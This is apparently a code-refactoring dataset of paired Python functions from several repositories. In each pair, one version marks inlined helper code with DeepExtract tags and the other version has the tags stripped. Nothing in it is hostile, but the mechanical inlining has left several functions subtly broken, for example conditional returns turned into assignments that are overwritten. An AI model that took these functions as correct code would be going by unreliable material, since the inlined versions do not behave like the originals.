hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
canonical_hashes_esl = Esl
expected_canonical_esd = EfiSignatureDatabase(EslList=[canonical_hashes_esl, cert2_esl, cert1_esl])
return (esd, expected_dupes_esd, expected_canonical_esd)
|
edk2-pytool-library
|
positive
|
def get_episodes(html, url):
eps = []
key = re.search('root.YUI_config.flickr.api.site_key = "([^"]+)', html).group(1)
nsid = re.search('"nsid":"([^"]+)', html).group(1)
base = re.match('.+?/photos/[^/]+', url).group()
match = re.search('/page(\\d+)', url)
if match:
page = int(match.group(1))
else:
page = 1
for photo in query_photos(url, key, nsid, page):
title = '{id} - {title}'.format_map(photo)
ep_url = '{base}/{id}/'.format(base=base, id=photo['id'])
if photo.get('media') == 'video':
image = None
else:
<DeepExtract>
sizes = {}
for (key, value) in photo.items():
match = re.match('([a-z]+)_([a-z0-9]{1,2})$', key)
if not match:
continue
(prop, name) = match.groups()
if name not in sizes:
sizes[name] = {'name': name}
sizes[name][prop] = value
sizes = sizes.values()
</DeepExtract>
max_size = max(sizes, key=lambda s: s.get('width', 0))
image = urljoin(url, max_size['url'])
eps.append(Episode(title, ep_url, image=image))
return eps[::-1]
|
def get_episodes(html, url):
eps = []
key = re.search('root.YUI_config.flickr.api.site_key = "([^"]+)', html).group(1)
nsid = re.search('"nsid":"([^"]+)', html).group(1)
base = re.match('.+?/photos/[^/]+', url).group()
match = re.search('/page(\\d+)', url)
if match:
page = int(match.group(1))
else:
page = 1
for photo in query_photos(url, key, nsid, page):
title = '{id} - {title}'.format_map(photo)
ep_url = '{base}/{id}/'.format(base=base, id=photo['id'])
if photo.get('media') == 'video':
image = None
else:
sizes = {}
for (key, value) in photo.items():
match = re.match('([a-z]+)_([a-z0-9]{1,2})$', key)
if not match:
continue
(prop, name) = match.groups()
if name not in sizes:
sizes[name] = {'name': name}
sizes[name][prop] = value
sizes = sizes.values()
max_size = max(sizes, key=lambda s: s.get('width', 0))
image = urljoin(url, max_size['url'])
eps.append(Episode(title, ep_url, image=image))
return eps[::-1]
|
ComicCrawler
|
positive
|
def get_model_params(model_name, override_params):
"""Get the block args and global params for a given model name.
Args:
model_name (str): Model's name.
override_params (dict): A dict to modify global_params.
Returns:
blocks_args, global_params
"""
if model_name.startswith('efficientnet'):
<DeepExtract>
params_dict = {'efficientnet-b0': (1.0, 1.0, 512, 0.2), 'efficientnet-b1': (1.0, 1.1, 640, 0.2), 'efficientnet-b2': (1.1, 1.2, 768, 0.3), 'efficientnet-b3': (1.2, 1.4, 896, 0.3), 'efficientnet-b4': (1.4, 1.8, 1024, 0.4), 'efficientnet-b5': (1.6, 2.2, 1280, 0.4), 'efficientnet-b6': (1.8, 2.6, 1280, 0.5), 'efficientnet-b7': (2.0, 3.1, 600, 0.5), 'efficientnet-b8': (2.2, 3.6, 672, 0.5), 'efficientnet-l2': (4.3, 5.3, 800, 0.5)}
(w, d, s, p) = params_dict[model_name]
</DeepExtract>
<DeepExtract>
blocks_args = ['r1_k3_s11_e1_i32_o16_se0.25', 'r2_k3_s22_e6_i16_o24_se0.25', 'r2_k5_s22_e6_i24_o40_se0.25', 'r3_k3_s22_e6_i40_o80_se0.25', 'r3_k5_s11_e6_i80_o112_se0.25', 'r4_k5_s22_e6_i112_o192_se0.25', 'r1_k3_s11_e6_i192_o320_se0.25']
blocks_args = BlockDecoder.decode(blocks_args)
p = 0.0
drop_connect_rate = 0.0 if s == 512 else 0.2
s = None
global_params = GlobalParams(width_coefficient=w, depth_coefficient=d, image_size=s, dropout_rate=p, num_classes=num_classes, batch_norm_momentum=0.99, batch_norm_epsilon=0.001, drop_connect_rate=drop_connect_rate, depth_divisor=8, min_depth=None)
(blocks_args, global_params) = (blocks_args, global_params)
</DeepExtract>
else:
raise NotImplementedError('model name is not pre-defined: %s' % model_name)
if override_params:
global_params = global_params._replace(**override_params)
return (blocks_args, global_params)
|
def get_model_params(model_name, override_params):
"""Get the block args and global params for a given model name.
Args:
model_name (str): Model's name.
override_params (dict): A dict to modify global_params.
Returns:
blocks_args, global_params
"""
if model_name.startswith('efficientnet'):
params_dict = {'efficientnet-b0': (1.0, 1.0, 512, 0.2), 'efficientnet-b1': (1.0, 1.1, 640, 0.2), 'efficientnet-b2': (1.1, 1.2, 768, 0.3), 'efficientnet-b3': (1.2, 1.4, 896, 0.3), 'efficientnet-b4': (1.4, 1.8, 1024, 0.4), 'efficientnet-b5': (1.6, 2.2, 1280, 0.4), 'efficientnet-b6': (1.8, 2.6, 1280, 0.5), 'efficientnet-b7': (2.0, 3.1, 600, 0.5), 'efficientnet-b8': (2.2, 3.6, 672, 0.5), 'efficientnet-l2': (4.3, 5.3, 800, 0.5)}
(w, d, s, p) = params_dict[model_name]
blocks_args = ['r1_k3_s11_e1_i32_o16_se0.25', 'r2_k3_s22_e6_i16_o24_se0.25', 'r2_k5_s22_e6_i24_o40_se0.25', 'r3_k3_s22_e6_i40_o80_se0.25', 'r3_k5_s11_e6_i80_o112_se0.25', 'r4_k5_s22_e6_i112_o192_se0.25', 'r1_k3_s11_e6_i192_o320_se0.25']
blocks_args = BlockDecoder.decode(blocks_args)
p = 0.0
drop_connect_rate = 0.0 if s == 512 else 0.2
s = None
global_params = GlobalParams(width_coefficient=w, depth_coefficient=d, image_size=s, dropout_rate=p, num_classes=num_classes, batch_norm_momentum=0.99, batch_norm_epsilon=0.001, drop_connect_rate=drop_connect_rate, depth_divisor=8, min_depth=None)
(blocks_args, global_params) = (blocks_args, global_params)
else:
raise NotImplementedError('model name is not pre-defined: %s' % model_name)
if override_params:
global_params = global_params._replace(**override_params)
return (blocks_args, global_params)
|
EfficientDet-bifpn
|
positive
|
def test_insert(self):
def _test_insert_row(sheet):
sheet.insert_row(0, ROW_1)
sheet.insert_row(1, ROW_2)
self.assertEqual(tuple(sheet.shape), (5, 5))
self.assertEqual(sheet.missing, [0, 0, 2, 0, 4])
self.assertEqual(sheet.columns, ['A', 'B', 'C', 'D', 'C_4'])
self.assertEqual(sheet[0], ['ROW1', 'ROW1', None, 'ROW1', None])
self.assertEqual(sheet[1], ROW_2)
self.assertEqual(sheet[-1], [6, 7, 8, 9, None])
def _test_insert_col(sheet):
sheet.insert_col(0, ROW_1)
sheet.insert_col(1, ROW_2)
self.assertEqual(tuple(sheet.shape), (5, 6))
self.assertEqual(sheet.missing, [2, 0, 2, 2, 3, 2])
self.assertEqual(sheet.columns, ['C_4', 'C_5', 'A', 'B', 'C', 'D'])
self.assertEqual(sheet[0], ['ROW1', 'ROW2', 1, 2, 3, 4])
self.assertEqual(sheet[2], [None, 'ROW3', 6, 7, 8, 9])
self.assertEqual(sheet[-1], [None, 'ROW5', None, None, None, None])
<DeepExtract>
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_row(0, ROW_1)
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_row(1, ROW_2)
self.assertEqual(tuple(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).shape), (5, 5))
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).missing, [0, 0, 2, 0, 4])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).columns, ['A', 'B', 'C', 'D', 'C_4'])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[0], ['ROW1', 'ROW1', None, 'ROW1', None])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[1], ROW_2)
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[-1], [6, 7, 8, 9, None])
</DeepExtract>
<DeepExtract>
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_col(0, ROW_1)
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_col(1, ROW_2)
self.assertEqual(tuple(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).shape), (5, 6))
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).missing, [2, 0, 2, 2, 3, 2])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).columns, ['C_4', 'C_5', 'A', 'B', 'C', 'D'])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[0], ['ROW1', 'ROW2', 1, 2, 3, 4])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[2], [None, 'ROW3', 6, 7, 8, 9])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[-1], [None, 'ROW5', None, None, None, None])
</DeepExtract>
|
def test_insert(self):
def _test_insert_row(sheet):
sheet.insert_row(0, ROW_1)
sheet.insert_row(1, ROW_2)
self.assertEqual(tuple(sheet.shape), (5, 5))
self.assertEqual(sheet.missing, [0, 0, 2, 0, 4])
self.assertEqual(sheet.columns, ['A', 'B', 'C', 'D', 'C_4'])
self.assertEqual(sheet[0], ['ROW1', 'ROW1', None, 'ROW1', None])
self.assertEqual(sheet[1], ROW_2)
self.assertEqual(sheet[-1], [6, 7, 8, 9, None])
def _test_insert_col(sheet):
sheet.insert_col(0, ROW_1)
sheet.insert_col(1, ROW_2)
self.assertEqual(tuple(sheet.shape), (5, 6))
self.assertEqual(sheet.missing, [2, 0, 2, 2, 3, 2])
self.assertEqual(sheet.columns, ['C_4', 'C_5', 'A', 'B', 'C', 'D'])
self.assertEqual(sheet[0], ['ROW1', 'ROW2', 1, 2, 3, 4])
self.assertEqual(sheet[2], [None, 'ROW3', 6, 7, 8, 9])
self.assertEqual(sheet[-1], [None, 'ROW5', None, None, None, None])
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_row(0, ROW_1)
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_row(1, ROW_2)
self.assertEqual(tuple(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).shape), (5, 5))
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).missing, [0, 0, 2, 0, 4])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).columns, ['A', 'B', 'C', 'D', 'C_4'])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[0], ['ROW1', 'ROW1', None, 'ROW1', None])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[1], ROW_2)
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[-1], [6, 7, 8, 9, None])
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_col(0, ROW_1)
SeriesSet(TABLE_DATA, TABLE_COL, nan=None).insert_col(1, ROW_2)
self.assertEqual(tuple(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).shape), (5, 6))
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).missing, [2, 0, 2, 2, 3, 2])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None).columns, ['C_4', 'C_5', 'A', 'B', 'C', 'D'])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[0], ['ROW1', 'ROW2', 1, 2, 3, 4])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[2], [None, 'ROW3', 6, 7, 8, 9])
self.assertEqual(SeriesSet(TABLE_DATA, TABLE_COL, nan=None)[-1], [None, 'ROW5', None, None, None, None])
</DeepExtract>
|
DaPy
|
positive
|
def bulkload_process(self, options):
loader_bin = common.join_bin(self.get_path(), 'bin', 'sstableloader')
<DeepExtract>
update_conf = not self.__conf_updated
if update_conf:
self.__conf_updated = True
env = common.make_cassandra_env(self.get_install_dir(), self.get_path(), update_conf)
env = common.update_java_version(jvm_version=None, install_dir=self.get_install_dir(), cassandra_version=self.cluster.cassandra_version(), env=env, info_message=self.name)
for (key, value) in self.__environment_variables.items():
env[key] = value
env = env
</DeepExtract>
extension.append_to_client_env(self, env)
(host, port) = self.network_interfaces['thrift'] if self.get_cassandra_version() < '2.2' else self.network_interfaces['binary']
args = ['-d', host, '-p', str(port)]
return subprocess.Popen([loader_bin] + args + options, env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
def bulkload_process(self, options):
loader_bin = common.join_bin(self.get_path(), 'bin', 'sstableloader')
update_conf = not self.__conf_updated
if update_conf:
self.__conf_updated = True
env = common.make_cassandra_env(self.get_install_dir(), self.get_path(), update_conf)
env = common.update_java_version(jvm_version=None, install_dir=self.get_install_dir(), cassandra_version=self.cluster.cassandra_version(), env=env, info_message=self.name)
for (key, value) in self.__environment_variables.items():
env[key] = value
env = env
extension.append_to_client_env(self, env)
(host, port) = self.network_interfaces['thrift'] if self.get_cassandra_version() < '2.2' else self.network_interfaces['binary']
args = ['-d', host, '-p', str(port)]
return subprocess.Popen([loader_bin] + args + options, env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
ccm
|
positive
|
def infer(self, mix: th.Tensor, mode: str='time') -> Union[th.Tensor, List[th.Tensor]]:
"""
Args:
mix (Tensor): N x S, mixture signals
Return:
[Tensor, ...]: enhanced signals or TF masks
"""
self.check_args(mix, training=False, valid_dim=[1])
with th.no_grad():
mix = mix[None, :]
<DeepExtract>
(stft, _) = self.enh_transform.encode(mix, None)
feats = self.enh_transform(stft)
masks = self._tf_mask(feats)
if self.complex_mask:
masks = [th.stack(th.chunk(m, 2, 1), -1) for m in masks]
if mode == 'time':
bss_stft = [tf_masking(stft, m) for m in masks]
packed = self.enh_transform.decode(bss_stft)
else:
packed = masks
ret = packed[0] if self.num_branchs == 1 else packed
</DeepExtract>
return ret[0] if self.num_branchs == 1 else [r[0] for r in ret]
|
def infer(self, mix: th.Tensor, mode: str='time') -> Union[th.Tensor, List[th.Tensor]]:
"""
Args:
mix (Tensor): N x S, mixture signals
Return:
[Tensor, ...]: enhanced signals or TF masks
"""
self.check_args(mix, training=False, valid_dim=[1])
with th.no_grad():
mix = mix[None, :]
(stft, _) = self.enh_transform.encode(mix, None)
feats = self.enh_transform(stft)
masks = self._tf_mask(feats)
if self.complex_mask:
masks = [th.stack(th.chunk(m, 2, 1), -1) for m in masks]
if mode == 'time':
bss_stft = [tf_masking(stft, m) for m in masks]
packed = self.enh_transform.decode(bss_stft)
else:
packed = masks
ret = packed[0] if self.num_branchs == 1 else packed
return ret[0] if self.num_branchs == 1 else [r[0] for r in ret]
|
aps
|
positive
|
def flash_erase_block(addr=0):
<DeepExtract>
sir(2)
send_tms(0)
send_tms(0)
jtag.swspi.write(none)
jtag.swspi.write(wrenable[:-1])
send_data_byte_reverse(wrenable[-1], 1, 8)
send_tms(0)
send_tms(1)
send_tms(1)
send_tms(1)
</DeepExtract>
<DeepExtract>
retry = 1001
while retry > 0:
user1_send(none, read_status)
user1_send_recv(none, status)
if int(status[1]) & 1 == 0:
break
sleep_ms(1)
retry -= 1
if retry <= 0:
print('error %d flash status 0x%02X & 1 != 0' % (1001, status[1]))
</DeepExtract>
req = magic + bytearray([0, 32, flash_erase_cmd, addr >> 16, addr >> 8, addr])
<DeepExtract>
sir(2)
send_tms(0)
send_tms(0)
jtag.swspi.write(none)
jtag.swspi.write(req[:-1])
send_data_byte_reverse(req[-1], 1, 8)
send_tms(0)
send_tms(1)
send_tms(1)
send_tms(1)
</DeepExtract>
<DeepExtract>
retry = 2002
while retry > 0:
user1_send(none, read_status)
user1_send_recv(none, status)
if int(status[1]) & 1 == 0:
break
sleep_ms(1)
retry -= 1
if retry <= 0:
print('error %d flash status 0x%02X & 1 != 0' % (2002, status[1]))
</DeepExtract>
|
def flash_erase_block(addr=0):
sir(2)
send_tms(0)
send_tms(0)
jtag.swspi.write(none)
jtag.swspi.write(wrenable[:-1])
send_data_byte_reverse(wrenable[-1], 1, 8)
send_tms(0)
send_tms(1)
send_tms(1)
send_tms(1)
retry = 1001
while retry > 0:
user1_send(none, read_status)
user1_send_recv(none, status)
if int(status[1]) & 1 == 0:
break
sleep_ms(1)
retry -= 1
if retry <= 0:
print('error %d flash status 0x%02X & 1 != 0' % (1001, status[1]))
req = magic + bytearray([0, 32, flash_erase_cmd, addr >> 16, addr >> 8, addr])
sir(2)
send_tms(0)
send_tms(0)
jtag.swspi.write(none)
jtag.swspi.write(req[:-1])
send_data_byte_reverse(req[-1], 1, 8)
send_tms(0)
send_tms(1)
send_tms(1)
send_tms(1)
retry = 2002
while retry > 0:
user1_send(none, read_status)
user1_send_recv(none, status)
if int(status[1]) & 1 == 0:
break
sleep_ms(1)
retry -= 1
if retry <= 0:
print('error %d flash status 0x%02X & 1 != 0' % (2002, status[1]))
</DeepExtract>
|
esp32ecp5
|
positive
|
def load_project_entry(entry):
"""
Loads a container index entry in class objects
"""
try:
<DeepExtract>
self.app_id = entry['app-id'].replace('_', '-').replace('/', '-').replace('.', '-').replace(':', '-')
</DeepExtract>
<DeepExtract>
self.job_id = entry['job-id'].replace('_', '-').replace('/', '-').replace('.', '-').replace(':', '-')
</DeepExtract>
self.git_url = entry['git-url']
self.git_path = entry['git-path']
self.git_branch = entry['git-branch']
self.target_file = entry['target-file']
self.build_context = entry.get('build-context', './')
<DeepExtract>
if not entry['depends-on'] or entry['depends-on'] == 'null':
self.depends_on = None
if isinstance(entry['depends-on'], list):
self.depends_on = ','.join(('{}-{}'.format(self.namespace, self.replace_dot_slash_colon_(d)) for d in entry['depends-on']))
else:
self.depends_on = '{}-{}'.format(self.namespace, self.replace_dot_slash_colon_(entry['depends-on']))
</DeepExtract>
self.notify_email = entry['notify-email']
<DeepExtract>
if not entry['desired-tag']:
self.desired_tag = 'latest'
self.desired_tag = entry['desired-tag']
</DeepExtract>
<DeepExtract>
if not entry.get('prebuild-context', None):
self.pre_build_context = None
self.pre_build_context = entry.get('prebuild-context', None)
</DeepExtract>
<DeepExtract>
if not entry.get('prebuild-script', None):
self.pre_build_script = None
self.pre_build_script = entry.get('prebuild-script', None)
</DeepExtract>
except Exception as e:
raise ErrorAccessingIndexEntryAttributes(str(e))
|
def load_project_entry(entry):
"""
Loads a container index entry in class objects
"""
try:
self.app_id = entry['app-id'].replace('_', '-').replace('/', '-').replace('.', '-').replace(':', '-')
self.job_id = entry['job-id'].replace('_', '-').replace('/', '-').replace('.', '-').replace(':', '-')
self.git_url = entry['git-url']
self.git_path = entry['git-path']
self.git_branch = entry['git-branch']
self.target_file = entry['target-file']
self.build_context = entry.get('build-context', './')
if not entry['depends-on'] or entry['depends-on'] == 'null':
self.depends_on = None
if isinstance(entry['depends-on'], list):
self.depends_on = ','.join(('{}-{}'.format(self.namespace, self.replace_dot_slash_colon_(d)) for d in entry['depends-on']))
else:
self.depends_on = '{}-{}'.format(self.namespace, self.replace_dot_slash_colon_(entry['depends-on']))
self.notify_email = entry['notify-email']
if not entry['desired-tag']:
self.desired_tag = 'latest'
self.desired_tag = entry['desired-tag']
if not entry.get('prebuild-context', None):
self.pre_build_context = None
self.pre_build_context = entry.get('prebuild-context', None)
if not entry.get('prebuild-script', None):
self.pre_build_script = None
self.pre_build_script = entry.get('prebuild-script', None)
except Exception as e:
raise ErrorAccessingIndexEntryAttributes(str(e))
|
container-pipeline-service
|
positive
|
def _nearest_neighbor_features_per_object_in_chunks(reference_embeddings_flat, query_embeddings_flat, reference_labels_flat, ref_obj_ids, k_nearest_neighbors, n_chunks):
"""Calculates the nearest neighbor features per object in chunks to save mem.
Uses chunking to bound the memory use.
Args:
reference_embeddings_flat: Tensor of shape [n, embedding_dim],
the embedding vectors for the reference frame.
query_embeddings_flat: Tensor of shape [m, embedding_dim], the embedding
vectors for the query frames.
reference_labels_flat: Tensor of shape [n], the class labels of the
reference frame.
ref_obj_ids: int tensor of unique object ids in the reference labels.
k_nearest_neighbors: Integer, the number of nearest neighbors to use.
n_chunks: Integer, the number of chunks to use to save memory
(set to 1 for no chunking).
Returns:
nn_features: A float32 tensor of nearest neighbor features of shape
[m, n_objects, feature_dim].
"""
chunk_size = int(np.ceil(float(query_embeddings_flat.size()[0]) / n_chunks))
wrong_label_mask = reference_labels_flat != torch.unsqueeze(ref_obj_ids, 1)
all_features = []
for n in range(n_chunks):
if n_chunks == 1:
query_embeddings_flat_chunk = query_embeddings_flat
else:
chunk_start = n * chunk_size
chunk_end = (n + 1) * chunk_size
query_embeddings_flat_chunk = query_embeddings_flat[chunk_start:chunk_end]
<DeepExtract>
reference_embeddings_key = reference_embeddings_flat
query_embeddings_key = query_embeddings_flat_chunk
dists = _flattened_pairwise_distances(reference_embeddings_key, query_embeddings_key)
dists = torch.unsqueeze(dists, 1) + torch.unsqueeze(wrong_label_mask.float(), 0) * WRONG_LABEL_PADDING_DISTANCE
if k_nearest_neighbors == 1:
(features, _) = torch.min(dists, 2, keepdim=True)
else:
(dists, _) = torch.topk(-dists, k=k_nearest_neighbors, dim=2)
dists = -dists
valid_mask = dists < WRONG_LABEL_PADDING_DISTANCE
masked_dists = dists * valid_mask.float()
pad_dist = torch.max(masked_dists, dim=2, keepdim=True)[0].repeat((1, 1, masked_dists.size()[-1]))
dists = torch.where(valid_mask, dists, pad_dist)
features = torch.mean(dists, dim=2, keepdim=True)
features = features
</DeepExtract>
all_features.append(features)
if n_chunks == 1:
nn_features = all_features[0]
else:
nn_features = torch.cat(all_features, dim=0)
return nn_features
|
def _nearest_neighbor_features_per_object_in_chunks(reference_embeddings_flat, query_embeddings_flat, reference_labels_flat, ref_obj_ids, k_nearest_neighbors, n_chunks):
"""Calculates the nearest neighbor features per object in chunks to save mem.
Uses chunking to bound the memory use.
Args:
reference_embeddings_flat: Tensor of shape [n, embedding_dim],
the embedding vectors for the reference frame.
query_embeddings_flat: Tensor of shape [m, embedding_dim], the embedding
vectors for the query frames.
reference_labels_flat: Tensor of shape [n], the class labels of the
reference frame.
ref_obj_ids: int tensor of unique object ids in the reference labels.
k_nearest_neighbors: Integer, the number of nearest neighbors to use.
n_chunks: Integer, the number of chunks to use to save memory
(set to 1 for no chunking).
Returns:
nn_features: A float32 tensor of nearest neighbor features of shape
[m, n_objects, feature_dim].
"""
chunk_size = int(np.ceil(float(query_embeddings_flat.size()[0]) / n_chunks))
wrong_label_mask = reference_labels_flat != torch.unsqueeze(ref_obj_ids, 1)
all_features = []
for n in range(n_chunks):
if n_chunks == 1:
query_embeddings_flat_chunk = query_embeddings_flat
else:
chunk_start = n * chunk_size
chunk_end = (n + 1) * chunk_size
query_embeddings_flat_chunk = query_embeddings_flat[chunk_start:chunk_end]
reference_embeddings_key = reference_embeddings_flat
query_embeddings_key = query_embeddings_flat_chunk
dists = _flattened_pairwise_distances(reference_embeddings_key, query_embeddings_key)
dists = torch.unsqueeze(dists, 1) + torch.unsqueeze(wrong_label_mask.float(), 0) * WRONG_LABEL_PADDING_DISTANCE
if k_nearest_neighbors == 1:
(features, _) = torch.min(dists, 2, keepdim=True)
else:
(dists, _) = torch.topk(-dists, k=k_nearest_neighbors, dim=2)
dists = -dists
valid_mask = dists < WRONG_LABEL_PADDING_DISTANCE
masked_dists = dists * valid_mask.float()
pad_dist = torch.max(masked_dists, dim=2, keepdim=True)[0].repeat((1, 1, masked_dists.size()[-1]))
dists = torch.where(valid_mask, dists, pad_dist)
features = torch.mean(dists, dim=2, keepdim=True)
features = features
all_features.append(features)
if n_chunks == 1:
nn_features = all_features[0]
else:
nn_features = torch.cat(all_features, dim=0)
return nn_features
|
CVPR2020_MANet
|
positive
|
def set_ui_item(self, ui_item):
if self.ui_item == ui_item:
return
if self.ui_item:
self.ui_item.unregister_dirty_callback(self)
self.ui_item = ui_item
if self.ui_item:
self.ui_item.register_dirty_callback(self)
<DeepExtract>
self.is_dirty = True
for ui_item in self.dirty_callbacks:
ui_item.dirty()
</DeepExtract>
return self.ui_item
|
def set_ui_item(self, ui_item):
if self.ui_item == ui_item:
return
if self.ui_item:
self.ui_item.unregister_dirty_callback(self)
self.ui_item = ui_item
if self.ui_item:
self.ui_item.register_dirty_callback(self)
self.is_dirty = True
for ui_item in self.dirty_callbacks:
ui_item.dirty()
return self.ui_item
|
addon_common
|
positive
|
def analyze(self):
<DeepExtract>
for adaptation_set in self.mpdProcessor.get_adaptation_sets():
content_type = adaptation_set.content_type
if content_type is None:
print('No contentType for adaptation set')
sys.exit(1)
if content_type in self.as_data:
raise DashAnalyzerError('Multiple adaptation sets for contentType ' + content_type)
as_data = {'as': adaptation_set, 'reps': []}
as_data['presentationDurationInS'] = self.mpdProcessor.media_presentation_duration_in_s
self.as_data[content_type] = as_data
for rep in adaptation_set.representations:
rep_data = {'representation': rep, 'id': rep.rep_id}
as_data['reps'].append(rep_data)
initPath = rep.initialization_path
rep_data['relInitPath'] = initPath
rep_data['absInitPath'] = os.path.join(self.base_path, initPath)
init_filter = initsegmentfilter.InitFilter(rep_data['absInitPath'])
init_filter.filter()
rep_data['trackID'] = init_filter.track_id
print('%s trackID = %d' % (content_type, rep_data['trackID']))
rep_data['relMediaPath'] = rep.get_media_path()
rep_data['absMediaPath'] = os.path.join(self.base_path, rep.get_media_path())
rep_data['default_sample_duration'] = init_filter.default_sample_duration
self.getSegmentRange(rep_data)
track_timescale = init_filter.track_timescale
if 'track_timescale' not in as_data:
as_data['track_timescale'] = track_timescale
elif track_timescale != as_data['track_timescale']:
raise DashAnalyzerError('Timescales not consistent between %s tracks' % content_type)
if self.verbose:
print('%s data: ' % content_type)
for (k, v) in rep_data.items():
print(' %s=%s' % (k, v))
</DeepExtract>
<DeepExtract>
lastGoodSegments = []
print('Checking all the media segment durations for deviations.')
def writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, duration, repeatCount):
data = pack(configprocessor.SEGTIMEFORMAT, firstSegmentInRepeat, repeatCount, firstStartTimeInRepeat, duration)
ofh.write(data)
for content_type in self.as_data.keys():
as_data = self.as_data[content_type]
as_data['datFile'] = '%s_%s.dat' % (self.base_name, content_type)
adaptation_set = as_data['as']
print('Checking %s with timescale %d' % (content_type, as_data['track_timescale']))
if self.segDuration is None:
self.segDuration = adaptation_set.duration
else:
assert self.segDuration == adaptation_set.duration
track_timescale = as_data['track_timescale']
with open(as_data['datFile'], 'wb') as ofh:
for (rep_nr, rep_data) in enumerate(as_data['reps']):
rep_id = rep_data['id']
rep_data['endNr'] = None
rep_data['startTick'] = None
rep_data['endTick'] = None
if self.firstSegmentInLoop >= 0:
assert rep_data['firstNumber'] == self.firstSegmentInLoop
else:
self.firstSegmentInLoop = rep_data['firstNumber']
if self.mpdSegStartNr >= 0:
assert adaptation_set.start_number == self.mpdSegStartNr
else:
self.mpdSegStartNr = adaptation_set.start_number
segTicks = self.segDuration * track_timescale
maxDiffInTicks = int(track_timescale * 0.1)
segNr = rep_data['firstNumber']
repeatCount = -1
firstSegmentInRepeat = -1
firstStartTimeInRepeat = -1
lastDuration = 0
while True:
segmentPath = rep_data['absMediaPath'] % segNr
if not os.path.exists(segmentPath):
if self.verbose:
print('\nLast good %s segment is %d, endTime=%.3fs, totalTime=%.3fs' % (rep_id, rep_data['endNr'], rep_data['endTime'], rep_data['endTime'] - rep_data['startTime']))
break
msf = mediasegmentfilter.MediaSegmentFilter(segmentPath, default_sample_duration=rep_data['default_sample_duration'])
msf.filter()
tfdt = msf.get_tfdt_value()
duration = msf.get_duration()
print('{0} {1:8d} {2} {3}'.format(content_type, segNr, tfdt, duration))
if duration == lastDuration:
repeatCount += 1
else:
if lastDuration != 0 and rep_nr == 0:
writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, lastDuration, repeatCount)
repeatCount = 0
lastDuration = duration
firstSegmentInRepeat = segNr
firstStartTimeInRepeat = tfdt
if rep_data['startTick'] is None:
rep_data['startTick'] = tfdt
rep_data['startTime'] = rep_data['startTick'] / float(track_timescale)
print('First %s segment is %d starting at time %.3fs' % (rep_id, segNr, rep_data['startTime']))
endTick = tfdt + duration
idealTicks = (segNr - rep_data['firstNumber'] + 1) * segTicks + rep_data['startTick']
absDiffInTicks = abs(idealTicks - endTick)
if absDiffInTicks < maxDiffInTicks:
rep_data['endTick'] = tfdt + duration
rep_data['endTime'] = rep_data['endTick'] / float(track_timescale)
rep_data['endNr'] = segNr
else:
raise DashAnalyzerError('Too much drift in the duration of the segments')
segNr += 1
if self.verbose:
sys.stdout.write('.')
if rep_nr == 0:
writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, duration, repeatCount)
lastGoodSegments.append(rep_data['endNr'])
as_data['totalTicks'] = rep_data['endTick'] - rep_data['startTick']
self.lastSegmentInLoop = min(lastGoodSegments)
self.nrSegmentsInLoop = self.lastSegmentInLoop - self.firstSegmentInLoop + 1
self.loopTime = self.nrSegmentsInLoop * self.segDuration
if self.verbose:
print('')
print('Will loop segments %d-%d with loop time %ds' % (self.firstSegmentInLoop, self.lastSegmentInLoop, self.loopTime))
</DeepExtract>
<DeepExtract>
cfg_data = {'version': '1.1', 'first_segment_in_loop': self.firstSegmentInLoop, 'nr_segments_in_loop': self.nrSegmentsInLoop, 'segment_duration_s': self.segDuration}
media_data = {}
for content_type in ('video', 'audio'):
if content_type in self.as_data:
mdata = self.as_data[content_type]
media_data[content_type] = {'representations': [rep['id'] for rep in mdata['reps']], 'timescale': mdata['track_timescale'], 'totalDuration': mdata['totalTicks'], 'datFile': mdata['datFile']}
cfg_data['media_data'] = media_data
vod_cfg = configprocessor.VodConfig()
vod_cfg.write_config(self.config_filename, cfg_data)
</DeepExtract>
|
def analyze(self):
for adaptation_set in self.mpdProcessor.get_adaptation_sets():
content_type = adaptation_set.content_type
if content_type is None:
print('No contentType for adaptation set')
sys.exit(1)
if content_type in self.as_data:
raise DashAnalyzerError('Multiple adaptation sets for contentType ' + content_type)
as_data = {'as': adaptation_set, 'reps': []}
